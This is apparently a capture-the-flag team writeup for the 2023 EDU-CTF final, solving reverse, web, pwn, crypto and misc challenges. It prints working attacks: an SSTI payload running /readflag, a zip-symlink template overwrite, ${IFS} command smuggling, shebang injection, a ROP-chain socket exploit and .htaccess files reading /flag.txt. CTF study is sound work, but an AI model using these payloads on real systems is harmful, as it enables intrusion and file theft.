# 2023 EDU-CTF Final / EOF Qual w33d Writeup
> Team: w33d
> NTU asef18766
> NYCU skps2010
> NYCU as535364
> NYCU AlaRduTP
[TOC]
## Mumumu <small>[reverse]</small>
逆了一下,看起來是 C++ 寫的,但扣太多太髒懶得逆,發現 flag_enc 內還有 `{}` 的字元,懷疑此加密是經過 swap 源字串後得來。
接下來嘗試加密字串 `1ab` `bac` 發現加密後的相對位置並不會改變,因此可以猜測字元本身不影響會被 swap 到哪裡,只有長度會影響,而 flag 長度在逆的過程中可以發現是 54,因此只需要找出 0~53 index 的字串會被 swap 到哪裡,對 flag_enc 反向操作即可,script 如下:
```python=
import string
table = string.printable[:54]
swap_table = {}
flag = ['A'] * 54
with open('flag_enc') as f: # flag enc 是 string.printable[:54] 被加密後的結果
s = f.readline()
for idx in range(len(s)):
c = s[idx]
swap_table[idx] = table.find(c)
with open('flag_enc_real') as f:
s = f.readline()
for idx in range(len(s)):
c = s[idx]
flag[swap_table[idx]] = c
print(''.join(flag))
```
Flag: `FLAG{Rub1k5Cub3_To_Got0uH1t0r1_t0_cyb3rp5ych05_6A96A9}`
> flag 很有趣,魔術方塊 XD
## Execgen <small>[misc]</small>
```bash=
script+='(created by execgen)'
echo "#!$script" > "$tmp"
```
觀察這題的行為,主要是會寫出一個 [Shebang](https://zh.wikipedia.org/zh-tw/Shebang) 的程式,並在最後加上一個 watermark,而在後面除了 binary 路徑外的所有字串會被視作單一 argument,因此會產生以下錯誤

但根據 env 的 manual 有一個 `-S` 是專門來讓 argument 拆開的,manual 如下
> -S, --split-string=S process and split S into separate arguments;
used to pass multiple arguments on shebang lines
因此可以透過以下 payload 取得 flag:
`/usr/bin/env -S cat /home/chal/flag`

flag: `FLAG{t0o0oo_m4ny_w4ys_t0_g37_fl4g}`
## execgen-safe <small>[revenge]</small>
觀察程式碼,發現輸入的內容會被填到檔案的 shebang ,且在輸入內容後面會被加入句子:`(created by execgen)`。此外輸入的內容必須符合正規表達式:`^[A-Za-z0-9 /]*$`。
假設在一個叫做 test.sh 的檔案裡面,只有一行:`#!/bin/cat arg1 arg2`。那在執行此檔案時,相當於執行以下:`/bin/cat 'arg1 arg2' ./test.sh` 。也就是說,不論 /bin/cat 後面有幾項,都會被合併在一起當成一個參數。
由於輸入內容會被加東西,因此不論是使用 cat 或 find ,都會顯示找不到檔案。
試玩一下,發現 shabang 的執行長度有限制,在題目上的最大長度是 255 。所以可以藉由輸入大量空格來讓後面加入的句子被截掉。
> 根據 https://homepages.cwi.nl/~aeb/std/shebang/
> linux 會在超過長度限制時 cut-off shebang
所以輸入以下內容的輸出結果來拿到 flag:
```python
s = '/bin/cat /home/chal/flag '
print(s + ' ' * (253 - len(s)))
```
## Share <small>[web]</small>
上傳後的檔案因為沒有做任何檢查,flag 的權限在 Dockerfile 中也沒有特別處理,因此只要使用 symbolic link 連結檔案到 flag 壓縮後再上傳就好。
```bash=
ln -s /flag.txt filename.txt
```
瀏覽 `https://share.ctf.zoolab.org/static/{username}/filename.txt`

Flag: `FLAG{w0W_y0U_r34L1y_kn0w_sYmL1nK!}`
## ShaRcE <small>[revenge]</small>
這次仔細觀察了一下程式碼,可能有問題的地方有:
* SQLinjection
* safe join 寫爛
* 其他地方導致可以 RCE
因為都有經過參數化處理,一開始排除了 SQLinjection 方向的可能。因此轉向研究 safe join 是否可以跳出 `/app/static/{username}` 的地方,像是 `/app/templates` 如果成功任意寫 template 就可以 SSTI 導致 RCE
```python=
def safeJoin(_dir, _sub):
filepath = path.join(_dir, _sub)
realpath = path.realpath(filepath)
if not _dir in path.commonpath((_dir, realpath)):
return None
return realpath
```
> realpath 會 follow symbolic link 拿到真實路徑
這段程式跟網路上防止 path traversal 的程式幾乎相同,只差在 line 4 網站提供的是
`if _dir != path.commanpath(_dir, realpath)` 經過一些嘗試最高只能跳到 `/app/static`,沒辦法跳到其他路徑。
```python
returncode = run(['unzip', '-qo', tmppath, '-d', realpath]).returncode
```
靈光一閃,想到或許有問題的是 unzip,開始研究 unzip 的參數,其中下的參數的有 -q, -o, -d,分別代表「不輸出解壓縮檔案名稱」、「強制覆蓋」、「指定解壓縮路徑」,其中 -o 耐人尋味,然後再度~~通靈~~,想到 unzip 或許會 follow symlink,因此第一次先上傳有 symlink 的檔案指向 `/app/templates` 第二次再上傳具有跟 symlink file 同名的資料夾內放有 index.html 帶有 SSTI payload。
zip1: `ln -s /app/templates`
zip2: 一個 templates 資料夾內放有 index.html 或 login.html
SSTI payload: `{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('/readflag').read() }}`

RCE Success!
Flag: `FLAG{Pl3aS3_R3m3Mb3r_t0_c13Ar_y0uR_w3B5helL_XD}`
> 這題如果有人一直盯著四個網站看說不定可以撿到 Flag ???
## Washer <small>[misc]</small>
此為程式碼處理輸入選項的部分:
```c
if (option == 1) {
puts("Content:");
char buf[100] = {};
scanf("%s", buf);
if (validate(buf)) {
int fd = open(filename, O_CREAT | O_TRUNC | O_WRONLY,
S_IRUSR | S_IWUSR | S_IXUSR);
write(fd, buf, strlen(buf));
close(fd);
}
} else if (option == 2) {
char buf[100] = {};
int fd = open(filename, O_RDONLY);
read(fd, buf, sizeof(buf));
close(fd);
printf("Content:\n%s\n", buf);
} else if (option == 3) {
puts("Curse:");
char buf[100] = {};
scanf("%s", buf);
spawn_prog(buf);
} else {
break;
}
```
觀察程式碼,發現 option 的 0~3 對應四個選項:Write Note, Read Note, Magic, Exit 。
其中 Magic 可執行某個檔案,而 Write Note 可寫內容到某個檔案。但由於他們是使用 scanf ,所以輸入的內容不能有空格。
所以此題的解法是,在 Write Note 時,輸入 `cat${IFS}/flag` 其中 ${IFS} 預設為空格,這樣就會印出 /flag 檔案 。而 Write Note 會將內容寫入檔案:`/tmp/<id>` 其中 id 是隨機產生的,在使用程式時會顯示出來。
接者在 Magic 輸入 `/tmp/<id>` ,就會去執行該檔案,即可得到 flag:
Flag: `FLAG{Hmmm_s4nitiz3r_sh0uld_h3lp_right?🤔}`
## donut <small>[reverse]</small>
* **core**: step instruction one by one and you will discover it was a dotnet binary (mscorlib.dll)
* extract it by NT Soft NET Generic Unpacker and throw it into dotPeek to obtain source code

* bruteforce all the result and obtain the flag
```csharp
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Security.Cryptography;
namespace dotnut_exp
{
class Program
{
static string get_decrypt(byte [] bytes1)
{
int num = int.Parse(Encoding.UTF8.GetString(bytes1));
if (1000 <= num)
{
if (num < 10000)
{
using (MD5 md5 = MD5.Create())
{
byte[] hash = md5.ComputeHash(bytes1);
BitConverter.ToString(hash).Replace("-", string.Empty).ToLower();
byte[] bytes2 = new byte[24]
{
(byte) 49,
(byte) 8,
(byte) 83,
(byte) 209,
(byte) 4,
(byte) 77,
(byte) 130,
(byte) 36,
(byte) 139,
(byte) 44,
(byte) 248,
(byte) 52,
(byte) 172,
(byte) 0,
(byte) 207,
(byte) 23,
(byte) 17,
(byte) 27,
(byte) 97,
(byte) 254,
(byte) 30,
(byte) 116,
(byte) 143,
(byte) 28
};
for (int index = 0; index < bytes2.Length; ++index)
bytes2[index] ^= hash[index % hash.Length];
return Encoding.UTF8.GetString(bytes2);
}
}
}
return "";
}
static void Main(string[] args)
{
for (int i = 1000; i != 10000; ++i)
{
var flag = get_decrypt(Encoding.UTF8.GetBytes(i.ToString()));
Console.WriteLine($"{i}: {flag}");
if (flag.StartsWith("flag"))
{
Console.WriteLine($"{i}: {flag}");
}
}
}
}
}
```
## hex <small>[crypto]</small>
* **core idea**: create xor mask to make it not a character in range `0`~`9` & `a` ~ `f`
* distinguish character & num: xor `0b100000`, characters will become uppercase and nums will be out of bound characters
* as for each character, we can brutefore to find possible mask combination
```
9: 127
8: 126
7: 15 & 118
6: 15 & 119
5: 13 & 116
4: 13 & !116
3: 11 & 119 & 117
2: 11 & 119 & 116
1: 9 & 117 & !118
0: 9 & 117 & 118
----
f: 95
e: 93 & 36
d: 93 & !36
c: 91 & 37
b: 91 & !37
a: 89
```
* then we can search the flag byte by byte and obtain result
## how2know_revenge <small>[pwn]</small>
* **core**: use `ROPgadget` to find and select gadget then pile up a rop chain
```python=
import pwn
trash_addr = 0x4DE310
pay = b"aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa"
xor_gadget = pwn.p64(0x4074c8) # xor eax, edx ; ret
jz_gadget = pwn.p64(0x401C24) # jump to "retn" if rax is 0
import socket
from string import digits, ascii_letters, punctuation
flag = ""
for offset in range(-1, -1 + 0x30):
for guessed_char in digits + ascii_letters + punctuation:
print(f"\r{flag}{guessed_char}", end="")
HOST = 'edu-ctf.zoolab.org'
PORT = 10012
payload = (pay +
pwn.p64(0x402798) + # 0402798 : pop rsi ; ret
pwn.p64(0x4de2e0+offset+1) + # rsi
pwn.p64(0x401812) + # 0401812 : pop rdi ; ret
pwn.p64(trash_addr) + # rdi
pwn.p64(0x43c850) + # mov dl, byte ptr [rsi - 1] ; mov byte ptr [rdi - 1], dl ; ret
pwn.p64(0x458237) + # pop rax ; ret
pwn.p64(ord(guessed_char)) + # rax
xor_gadget +
jz_gadget +
pwn.p64(0x458237) + # pop rax ; ret
pwn.p64(0x401b58) + # rax
pwn.p64(0x401b58) # jmp rax
)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.settimeout(3)
s.recv(666)
s.send(payload)
try:
s.recv(66)
except TimeoutError:
flag += guessed_char
break
```
## knock <small>[reverse]</small>
* **core**: throw it into ILspy to obtain source code

* crack the md5 hashes in `Door`
```python
from Crypto.Hash import MD5
from string import printable
enc = [
"f8c1ceb2b36371166efc805824b59252", "ec0f4a549025dfdc98bda08d25593311", "3261390a0dfd09dc16c3987eba10eb53", "66d986ecb8b4d61c648cebdcc2a5ccb2", "fbd5870d0c8964d2c9575a1e55fb7be9", "c0992476cbd06f4f9bb7439ecee81022", "debf803f8b64d47bcdcb8e6fc1854fd3", "3fa81b15cf1210e01155396b648bbe2f", "05880def669376ef5070966617ccdeea", "0c635429f6905f04790ecc942b1bcf86",
"f70ce87784d549677b28dd0932766833", "790b40de039d3f13dea0e51818e08319", "4a5a99441aa7a885192a0530a407ade0", "0058628c972c658654471b36178f163f", "71f9eaf557aaa691984723bf7536b953", "30cbf3c9e5a0e91168f57f1a5af0b6dc", "d9ccfeb048086c336b1d965aee4a6c3d", "cfd0e95c62ddca1bfd1a902761df59f9", "9798150652e2bd5a24dfbfe5e678be9e", "eb275c9f4a7b3e799dabc6fa56305a13",
"e7a559cf6b0acbf36087f76a027d55ba", "fe12380219f2285e48928bcb3658550a", "c6b3fb1f238c3a599fcbabb4127ee6b5", "4d15d083b996e4fd0865c79697fb10cd", "4008c526e86cde781976813b1bc3da38", "b0429dde1bbb1372f98a0d1f4c32fa3f", "2447ed4c7337c2c82d2a7bb63f49ec05", "90b247e82e0a0e30c9caf4402840c860", "e17cadf8ee52aa84dfc47d0203d38710", "bf8f4b12d3135fb4af7a1ac72509c9dc",
"f2ee0d18cf0694678d32797774128ddd", "c6c24338269e7aeab5161fb191e475c2", "23c6afffd93216e493fec87ee9315b86", "0b93d09e1cdaed8d8e0de39531de182a", "1657d03d5b217d1d237db25d8a4d5489", "3498f0744f6059fb2bf7c778d085c909", "ac38e3f1e8d93a6a8c417165a59bce67", "e1b0e8bb077ef11bdee3cc67ddf9cd7b", "4732293cca5121ab05dd5e254d22acee", "fad3b901ba4258ad9fd71a7302df8148",
"1e02fd1f2f4f22f42fb71a8230c3fa35", "75fcc6674ca64f120eaf3aa911870fc9", "ae8612af96882cb771f1a4d8fdb41fc3", "96bba5d198bfa190c2773516badc221d", "47728b786cbeb69d2c7292925f06aaf1", "3f9031bff26fb95509b8cd353bd0a131", "010863115678f4d19f1d4ac2b2db9697", "e944d1b87ad28a9f7c6cf90680483556", "466d818aafd0cdfc0a9ab3b41a02f5d9", "af0a281c8b0ccb7cb43b4b0345a3bb49",
"fcb4cb5a6d51bba742fd9d4d73a3449f", "74dfb0110dbb3da8e23bf5fb40af078c", "eb70b854739c9b6cb35f8b2cf77ed64a", "ffe3b6cfa20bb97c909838f7351e4394", "b85ced8f3f11edbd781ee6b0d79fd7b4", "c10b6289b3fd56c1d17ba758960d1c20", "36986e79b356328a1bc32756416bb744", "e2476b0618c7e20c8246f3e274abca03", "9793fd49590b40952f928e7c431d43a9", "c5d774c5e69aea3707e5552b61c85bb2",
"672e62fd225560292abdf292caf05a02", "6615c852430df05c405d1df7723e944f", "80fb5e9390b54dd8ef51d7c9a86bde14", "c05cec12c67e0c3f1cdb7ae7363008c4", "59e4e7efc94b52ce3ba792cbd7aaabd4"
]
def get_enc(idx:int, chr:int):
hs = MD5.new()
hs.update(bytes([chr, 109, 100, 53, idx]))
return hs.hexdigest()
data_dict = {}
for i in range(len(enc)):
for c in printable:
data_dict[get_enc(i, ord(c))] = (i, c)
res = ""
for h in enc:
res += (data_dict[h][1])
print(res)
```
## nekomatsuri <small>[reverse]</small>
* main function
```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
DWORD NumberOfBytesWritten; // [rsp+30h] [rbp-10h] BYREF
DWORD ThreadId; // [rsp+34h] [rbp-Ch] BYREF
HANDLE hHandle; // [rsp+38h] [rbp-8h]
sub_140002320();
scanf("%s", Source);
if ( argc <= 2 )
{
decode_encrypted();
hHandle = CreateThread(0i64, 0i64, thread_logic, &hFile, 0, &ThreadId);
Sleep_0(0x96u);
mutate_rc4(WinExec, 8, byte_140010024, 16, 192);
byte_14001003C[0] = 13;
byte_14001003D = 10;
NumberOfBytesWritten = 0;
WriteFile(hFile, WinExec, 0xAu, &NumberOfBytesWritten, 0i64);
WaitForSingleObject(hHandle, 0xFFFFFFFF);
}
else
{
mutate_rc4(byte_140010024, 16, Source, 7, 253);
sub_14000194E(argv[1], argv[2]);
}
return 0;
}
```
* with no argument
* create a thread to run `thread_logic`
* sleep for a little while
* decrypt the secret string with `mutated_rc4`
* pass secret string to pipe
* with one argument
* decrypt key secret string passed by no argument process
* goto `sub_14000194E`
* `decode_encrypted`
```c
BOOL (__stdcall *decode_encrypted())(HANDLE hObject)
{
BOOL (__stdcall *result)(HANDLE); // rax
mutate_rc4(byte_140010024, 16, (char *)&unk_140010020, 4, 3);
mutate_rc4(kern, 13, byte_140010024, 16, 143);
hModule = GetModuleHandleA(kern);
mutate_rc4(ProcName, 15, byte_140010024, 16, 78);
GetProcAddress_0 = (FARPROC (__stdcall *)(HMODULE, LPCSTR))GetProcAddress(hModule, ProcName);
mutate_rc4(byte_14001003C, 13, byte_140010024, 16, 234);
CreateThread = (HANDLE (__stdcall *)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD))GetProcAddress_0(hModule, byte_14001003C);
mutate_rc4(aJdu, 6, byte_140010024, 16, 13);
Sleep_0 = (void (__stdcall *)(DWORD))GetProcAddress_0(hModule, aJdu);
mutate_rc4(asc_14001004F, 9, byte_140010024, 16, 119);
ReadFile = (BOOL (__stdcall *)(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED))GetProcAddress_0(hModule, asc_14001004F);
mutate_rc4(Destination, 10, byte_140010024, 16, 192);
WriteFile = (BOOL (__stdcall *)(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED))GetProcAddress_0(hModule, Destination);
mutate_rc4(aO, 20, byte_140010024, 16, 96);
WaitForSingleObject = (DWORD (__stdcall *)(HANDLE, DWORD))GetProcAddress_0(hModule, aO);
mutate_rc4(byte_140010092, 11, byte_140010024, 16, 167);
CreatePipe = (BOOL (__stdcall *)(PHANDLE, PHANDLE, LPSECURITY_ATTRIBUTES, DWORD))GetProcAddress_0(
hModule,
byte_140010092);
mutate_rc4(byte_14001009D, 15, byte_140010024, 16, 180);
CreateProcessA = (BOOL (__stdcall *)(LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION))GetProcAddress_0(hModule, byte_14001009D);
mutate_rc4(aSy, 14, byte_140010024, 16, 249);
PeekNamedPipe = (BOOL (__stdcall *)(HANDLE, LPVOID, DWORD, LPDWORD, LPDWORD, LPDWORD))GetProcAddress_0(hModule, aSy);
mutate_rc4(asc_1400100BA, 12, byte_140010024, 16, 143);
result = (BOOL (__stdcall *)(HANDLE))GetProcAddress_0(hModule, asc_1400100BA);
CloseHandle = result;
return result;
}
```
* `thread_logic`
```c
BOOL __fastcall thread_logic(LPVOID lpThreadParameter)
{
BOOL result; // eax
DWORD v2; // ecx
DWORD NumberOfBytesRead; // [rsp+58h] [rbp-28h] BYREF
DWORD TotalBytesAvail; // [rsp+5Ch] [rbp-24h] BYREF
char Buffer[256]; // [rsp+60h] [rbp-20h] BYREF
struct _PROCESS_INFORMATION ProcessInformation; // [rsp+160h] [rbp+E0h] BYREF
struct _STARTUPINFOA StartupInfo; // [rsp+180h] [rbp+100h] BYREF
struct _SECURITY_ATTRIBUTES PipeAttributes; // [rsp+1F0h] [rbp+170h] BYREF
HANDLE v9; // [rsp+210h] [rbp+190h] BYREF
HANDLE hWritePipe; // [rsp+218h] [rbp+198h] BYREF
HANDLE hReadPipe; // [rsp+220h] [rbp+1A0h] BYREF
BOOL v13; // [rsp+22Ch] [rbp+1ACh]
*(_QWORD *)&PipeAttributes.nLength = 24i64;
*(_QWORD *)&PipeAttributes.bInheritHandle = 1i64;
PipeAttributes.lpSecurityDescriptor = 0i64;
result = CreatePipe(&hReadPipe, &hWritePipe, &PipeAttributes, 0);
if ( result )
{
result = CreatePipe(&v9, (PHANDLE)lpThreadParameter, &PipeAttributes, 0);
if ( result )
{
memset(&StartupInfo, 0, sizeof(StartupInfo));
StartupInfo.hStdOutput = hWritePipe;
StartupInfo.hStdError = hWritePipe;
StartupInfo.hStdInput = v9;
StartupInfo.cb = 104;
StartupInfo.dwFlags = 257;
StartupInfo.wShowWindow = 0;
memset(&ProcessInformation, 0, sizeof(ProcessInformation));
mutate_rc4(CommandLine, 28, byte_140010024, 16, 88);
strcpy(Destination, Source);
if ( CreateProcessA(
0i64,
CommandLine,
&PipeAttributes,
&PipeAttributes,
1,
0,
0i64,
0i64,
&StartupInfo,
&ProcessInformation) )
{
v13 = 0;
while ( !v13 )
{
v13 = WaitForSingleObject(ProcessInformation.hProcess, 0x32u) == 0;
while ( 1 )
{
TotalBytesAvail = 0;
NumberOfBytesRead = 0;
if ( !PeekNamedPipe(hReadPipe, 0i64, 0, 0i64, &TotalBytesAvail, 0i64) || !TotalBytesAvail )
break;
v2 = 255;
if ( TotalBytesAvail <= 0xFF )
v2 = TotalBytesAvail;
if ( !ReadFile(hReadPipe, Buffer, v2, &NumberOfBytesRead, 0i64) || !NumberOfBytesRead )
break;
Buffer[NumberOfBytesRead] = 0;
}
}
puts(Buffer);
CloseHandle(ProcessInformation.hProcess);
CloseHandle(ProcessInformation.hThread);
}
CloseHandle(hReadPipe);
return CloseHandle(hWritePipe);
}
}
return result;
}
```
* create process with another secret string and pipe
* `sub_14000194E`
```c
int __fastcall sub_14000194E(const char *Ch1y0d4m0m0, const char *usr_input)
{
int j; // [rsp+34h] [rbp-Ch]
char v4; // [rsp+3Bh] [rbp-5h]
int i; // [rsp+3Ch] [rbp-4h]
if ( strlen(usr_input) != 65 )
goto LABEL_10;
for ( i = 0; i <= 64; ++i )
usr_input[i] ^= i ^ Ch1y0d4m0m0[i % strlen(Ch1y0d4m0m0)];
mutate_rc4(byte_1400100F6, 65, byte_140010024, 16, 30);
v4 = 1;
for ( j = 0; j <= 64; ++j )
v4 &= usr_input[j] == (unsigned __int8)byte_1400100F6[j];
if ( v4 )
{
mutate_rc4(asc_1400100E2, 11, byte_140010024, 16, 89);
return printf("%s", asc_1400100E2);
}
else
{
LABEL_10:
mutate_rc4(&aJ, 9, byte_140010024, 16, 226);
return printf("%s", &aJ);
}
}
```
* decrypt the string(flag) and compare the encrypted with `byte_1400100F6`
* print whether the flag is correct or not
* sol
```c
#include <stdint.h>
#include <stdio.h>
#include <string.h>
char byte_1400100F6[] = {28, 245, 158, 19, 127, 33, 197, 13, 21, 58, 230, 248, 167, 158, 159, 236, 86, 109, 248, 44, 240, 128, 166, 150, 4, 140, 185, 111, 139, 204, 116, 67, 58, 161, 7, 16, 85, 71, 210, 150, 54, 157, 142, 107, 132, 137, 126, 196, 99, 230, 97, 155, 122, 215, 173, 50, 173, 130, 74, 103, 4, 126, 50, 202, 116, 0, 0, 0, 0, 0, 0, 0, 0, 0, 112, 246, 0, 64, 1, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0};
char byte_140010024[] = {166, 104, 25, 176, 148, 143, 95, 161, 139, 32, 13, 84, 59, 247, 87, 60, 147, 56, 195, 90, 89, 227, 104, 118, 93, 25, 22, 168, 107, 61, 161, 72, 177, 43, 184, 243, 226, 74, 240, 251, 173, 132, 57, 223, 125, 149, 68, 48, 184, 48, 220, 194, 18, 156,
174, 88, 52, 207, 103, 237, 244, 202, 78, 79, 57, 174, 178, 90, 102, 19, 210, 33, 28, 235, 76, 172, 129, 183, 185, 87, 147,
35, 196, 107, 68, 192, 98, 154, 156, 16, 243, 144, 164, 75, 71, 201, 89, 5, 240, 222};
char asc_1400100E2[] = {35, 0, 99, 37, 94, 26, 103, 177, 5, 241, 247, 74, 166, 67, 128, 87, 46, 236, 108, 122, 28, 245, 158, 19, 127, 33, 197, 13,
21, 58, 230, 248, 167, 158, 159, 236, 86, 109, 248, 44, 240, 128, 166, 150, 4, 140, 185, 111, 139, 204, 116, 67, 58, 161, 7, 16, 85, 71, 210, 150, 54, 157, 142, 107, 132, 137, 126, 196, 99, 230, 97, 155, 122, 215, 173, 50, 173, 130, 74, 103, 4, 126, 50, 202, 116, 0, 0, 0, 0, 0, 0, 0, 0, 0, 112, 246, 0, 64, 1, 0};
long long xor_cipher(char *str0, signed int str0_len, char *str1, int str1_len, char num)
{
long long result; // rax
char iv[268]; // [rsp+10h] [rbp-70h]
char v7; // [rsp+11Ch] [rbp+9Ch]
unsigned char v8; // [rsp+11Dh] [rbp+9Dh]
char v9; // [rsp+11Eh] [rbp+9Eh]
unsigned char v10; // [rsp+11Fh] [rbp+9Fh]
int k; // [rsp+120h] [rbp+A0h]
int j; // [rsp+124h] [rbp+A4h]
int i; // [rsp+128h] [rbp+A8h]
unsigned char tmp_buf; // [rsp+12Fh] [rbp+AFh]
for ( i = 0; i <= 255; ++i )
iv[i] = i;
tmp_buf = 0;
for ( j = 0; j <= 255; ++j )
{
tmp_buf += iv[j] + str1[j % str1_len];
iv[j] ^= iv[tmp_buf];
iv[tmp_buf] ^= iv[j];
iv[j] ^= iv[tmp_buf];
}
tmp_buf = 0;
for ( k = 0; ; ++k )
{
result = (unsigned int)k;
if ( k >= str0_len )
break;
v10 = k + 1;
v9 = iv[(unsigned char)(k + 1)];
tmp_buf += v9;
iv[(unsigned char)(k + 1)] ^= iv[tmp_buf];
iv[tmp_buf] ^= iv[v10];
iv[v10] ^= iv[tmp_buf];
v8 = iv[v10] + v9;
v7 = iv[v8];
if ( num >= 0 )
str0[k] = v7 ^ (str0[k] + num);
else
str0[k] = (v7 ^ str0[k]) + num;
}
return result;
}
int sub_14000194E(const char *Ch1y0d4m0m0, char *usr_input)
{
int j; // [rsp+34h] [rbp-Ch]
char v4; // [rsp+3Bh] [rbp-5h]
int i; // [rsp+3Ch] [rbp-4h]
if ( strlen(usr_input) != 65 )
goto LABEL_10;
for ( i = 0; i <= 64; ++i )
usr_input[i] ^= i ^ Ch1y0d4m0m0[i % strlen(Ch1y0d4m0m0)];
xor_cipher(byte_1400100F6, 65, byte_140010024, 16, 30);
v4 = 1;
for ( j = 0; j <= 64; ++j )
{
printf("%d: %d\n", j, byte_1400100F6[j]);
v4 &= usr_input[j] == (unsigned char)byte_1400100F6[j];
}
if ( v4 )
{
xor_cipher(asc_1400100E2, 11, byte_140010024, 16, 89);
return printf("%s", asc_1400100E2);
}
else
{
LABEL_10:
puts("wrong");
}
}
int main()
{
char Source[]="WinExec";
char Ch1y0d4m0m0[]="Ch1y0d4m0m0";
xor_cipher(byte_140010024, 16, Source, 7, 253);
xor_cipher(byte_1400100F6, 65, byte_140010024, 16, 30);
for ( int i = 0; i <= 64; ++i )
byte_1400100F6[i] ^= i ^ Ch1y0d4m0m0[i % strlen(Ch1y0d4m0m0)];
printf("%s\n", byte_1400100F6);
}
```
## Water <small>[revenge]</small><small>[not solved]</small>
* **not solved**
* current procedure
* bof in `scanf`
```c=74
puts("Content:");
char buf[100] = {};
scanf("%s", buf);
```
* capable to ret to some place in `chal`(no-pie)
## Gist <small>[web]</small>
此題有一個可以上傳檔案的網站,並且可以檢視上傳的檔案內容。
### 程式碼分析
#### index.php
```php=5
if( preg_match('/ph/i', $file['name']) !== 0
|| preg_match('/ph/i', file_get_contents($file['tmp_name'])) !== 0
|| $file['size'] > 0x100
){ die("Bad file!"); }
```
網站主要透過三個條件檢查上傳的檔案:
1. 檔名是否包含 `ph`
2. 檔案內容是否包含 `ph`
3. 檔案大小是否大於 `0x100` Bytes
```php=10
$uploadpath = 'upload/'.md5_file($file['tmp_name']).'/';
@mkdir($uploadpath);
move_uploaded_file($file['tmp_name'], $uploadpath.$file['name']);
```
檔案若是通過測試,便會上傳至 `http://<host>/upload/<hash>/<file_name>`。
- `<hash>` 為檔案內容的 `md5`
- `<file_name>` 使用者上傳檔案時的檔案名稱
因此兩者皆為已知且可控。
### 弱點分析
```shell
$ docker-compose exec web ps x
PID TTY STAT TIME COMMAND
1 ? Ss 0:00 apache2 -DFOREGROUND
55 pts/0 Rs+ 0:00 ps x
```
可以知道 HTTP Server 版本為 `apache2`,因此支援 `.htaccess`。
當請求的目錄底下包含 `.htaccess` 時便會執行該設定檔。
### <small>Solution #1 </small><br>Trial-and-error Attack
#### .htaccess (template)
```htmlmixed
<If "file('/flag.txt') =~ m#^{{FLAG}}#">
ErrorDocument 404 "yeee"
</If>
```
- `file()` : Read contents from a file ( including line endings, when present )
- `=~` : String matches the regular expression
- `m#regexp#` : Regular expression ( An alternative of `/regexp/` )
- `ErrorDocument` : Custom error response with status code and text to be displayed
當 `file('/flag.txt')` 符合 regex 條件,便會將網頁導向印有 `yeee` 字樣的 404 頁面。
不斷更新 `{{FLAG}}` 即可一個字一個字地猜出 FLAG。
#### expoit (pseudocode)
```
Procedure find_flag()
flag := ""
While flag[-1] != "}" Do
Foreach c := PRINTABLE_ASCII Do
htaccess := render( HTACCESS_TEMPLATE, flag + c )
post( HOST, file=htaccess )
whatever := HOST + "/upload/" + md5( htaccess ) + "/whatever"
response := get( whatever )
If response.body == "yeee" Then
flag := flag + c
Break
End if
End for
End while
Return flag
End
```
:::warning
實作時還需注意特殊字元的 escape ( e.g., `*` , `\` , `#` , ... )
:::
### <small>Solution #2 </small><br>Show the File Directly
處理 regex 的 escape 實在太惱人了,仔細閱讀 **[官方文件](https://httpd.apache.org/docs/2.4/expr.html)** 後發現其他做法。
#### .htaccess
```
ErrorDocument 404 "%{file:/flag.txt}"
```
- `%{func:argv}` : 相當於 `func("argv")`
上傳後瀏覽 `http://<host>/upload/<md5(.htaccess)>/whatever` 即可取得 FLAG : `FLAG{Wh4t_1f_th3_WAF_b3c0m3_preg_match('/h/i',file_get_contents($file['tmp_name']))!==0}`
### <small>TL;DR </small><br>Murmur
得到 FLAG 內的訊息為:
What if the WAF become `preg_match('/h/i',file_get_contents($file['tmp_name']))!==0` ?
似乎不影響上述第二種解法,第一種解法也只需要改寫 regex ,避免出現 `h` 即可:
- 將 `h` 用 `[^a-gi-zA-GI-Z0-9 _{}]` 之類的取代
總覺得上述兩種方法都不是預期解?
## Trust <small>[web]</small>
此題網站可以上傳自定義 HTML Template、一組對應的 key / value 用於取代 Template 中的元素。
### 程式碼分析
#### (web) app.js
```javascript=9
app.get("/", function (req, res) {
res.sendFile(__dirname + '/views/index.html')
});
app.get("/render", function (req, res) {
res.sendFile(__dirname + '/views/render.html')
});
```
可以發現網站後端做的事情並不多,對於 `/` 以及 `/render` 兩個 router 都是直接將 HTML 回傳。
```javascript=27
const client = net.connect(BOT_PORT, BOT_HOST, () => {
client.write(url)
})
let response = '';
client.on('data', data => {
response = data.toString()
client.end()
})
client.on('end', () => res.send(response))
```
而 `/report` 這個 router 則會使用一個 Bot 模擬使用者瀏覽網頁的行為。
#### index.html
```htmlmixed=
<form action=render>
<p>
<label>HTML</label>
<textarea type=text name=html placeholder="Hello, {{name}}"><h1>Hello, {{name}}</h1></textarea>
</p>
<p>
<label>Key</label>
<input type=text name=key placeholder="name">
</p>
<p>
<label>Value</label>
<input type=text name=value placeholder="world">
</p>
<input type=hidden name=keypath value="key/value">
<input type=hidden name=valuepath value="value/value">
<input type=submit value=Render>
</form>
```
總共有幾個欄位給使用者輸入:
- `html` : 自定義的 Template,例如:`<h1>Hello, {{name}}</h1>`。
- `key` : 對應到 Template 的 `{{key}}`,例如 `name`。
- `value` : 用於取代 Template 中 `{{key}}` 的內容,例如 `World`。
此外還有兩個隱藏欄位:
- `keypath` : 預設是 `key/value`。
- `valuepath` : 預設是 `value/value`。
以上 5 個欄位皆會在 submit 時作為 url parameters 送出。
#### render.html
```htmlmixed=18
<input type=hidden id=key>
<input type=hidden id=value>
```
存在兩個隱藏的欄位 `key` 以及 `value`。
```javascript=30
const queryString = window.location.search;
const urlParams = new URLSearchParams(queryString);
key.value = urlParams.get('key');
value.value = urlParams.get('value');
